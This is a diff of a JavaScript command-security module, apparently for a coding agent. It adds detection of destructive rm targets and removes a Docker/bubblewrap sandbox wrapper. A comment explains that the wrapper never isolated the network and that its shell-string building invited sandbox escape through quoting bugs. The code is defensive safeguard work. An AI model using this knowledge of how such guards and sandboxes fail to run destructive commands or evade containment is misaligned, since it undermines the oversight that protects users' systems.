return `the system directory ${normalized}`;
|
|
263
774
|
}
|
|
264
775
|
/**
|
|
265
776
|
* Check if a command matches dangerous patterns.
|
|
266
777
|
* Returns the first matched dangerous pattern, or null if safe.
|
|
267
778
|
*/
|
|
268
779
|
function checkDangerousCommand(cmd) {
|
|
780
|
+
const rmTarget = findDestructiveRmTarget(cmd);
|
|
781
|
+
if (rmTarget) {
|
|
782
|
+
return {
|
|
783
|
+
pattern: DESTRUCTIVE_RM_PATTERN,
|
|
784
|
+
reason: `Attempting to delete ${describeCatastrophicTarget(rmTarget)} (${rmTarget})`,
|
|
785
|
+
};
|
|
786
|
+
}
|
|
269
787
|
for (const { pattern, reason } of exports.DANGEROUS_PATTERNS) {
|
|
270
788
|
if (pattern.test(cmd)) {
|
|
271
789
|
return { pattern, reason };
|
|
@@ -327,30 +845,19 @@ function assessCommandSecurity(cmd) {
|
|
|
327
845
|
isReadOnly: false,
|
|
328
846
|
};
|
|
329
847
|
}
|
|
330
|
-
|
|
331
|
-
*
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
*
|
|
338
|
-
*
|
|
848
|
+
/*
|
|
849
|
+
* The `SandboxOptions` / `DEFAULT_SANDBOX_OPTIONS` / `wrapForSandbox` trio that
|
|
850
|
+
* used to live here has been removed.
|
|
851
|
+
*
|
|
852
|
+
* `wrapForSandbox` advertised network isolation it never delivered: it emitted
|
|
853
|
+
* `docker exec --network none <container> sh -c '<cmd>'`, but `--network` is a
|
|
854
|
+
* `docker run` flag and `docker exec` rejects it with `unknown flag`. With
|
|
855
|
+
* `network: true` the flag was dropped altogether, so neither configuration
|
|
856
|
+
* isolated anything. Building the wrapper as a shell string was unsound anyway:
|
|
857
|
+
* every layer re-parses the command, so a quoting bug becomes a sandbox escape.
|
|
858
|
+
*
|
|
859
|
+
* `src/tools/sandbox.ts` supersedes it with an argv-based implementation that
|
|
860
|
+
* probes backend availability and fails closed. Use `planSandboxedCommand()`
|
|
861
|
+
* from there instead.
|
|
339
862
|
*/
|
|
340
|
-
function wrapForSandbox(cmd, options) {
|
|
341
|
-
if (options.mode === 'none') {
|
|
342
|
-
return cmd;
|
|
343
|
-
}
|
|
344
|
-
if (options.mode === 'docker') {
|
|
345
|
-
const container = options.container || 'orion-code-sandbox';
|
|
346
|
-
const networkFlag = options.network ? '' : '--network none';
|
|
347
|
-
return `docker exec ${networkFlag} ${container} sh -c '${cmd.replace(/'/g, "'\\''")}'`;
|
|
348
|
-
}
|
|
349
|
-
if (options.mode === 'bubblewrap') {
|
|
350
|
-
// bubblewrap (bwrap) for Linux sandboxing
|
|
351
|
-
const networkFlag = options.network ? '' : '--unshare-net';
|
|
352
|
-
return `bwrap ${networkFlag} --ro-bind /usr /usr --ro-bind /lib /lib --ro-bind /bin /bin --bind /tmp /tmp --proc /proc --dev-bind /dev /dev sh -c '${cmd.replace(/'/g, "'\\''")}'`;
|
|
353
|
-
}
|
|
354
|
-
return cmd;
|
|
355
|
-
}
|
|
356
863
|
//# sourceMappingURL=bash_security.js.map
|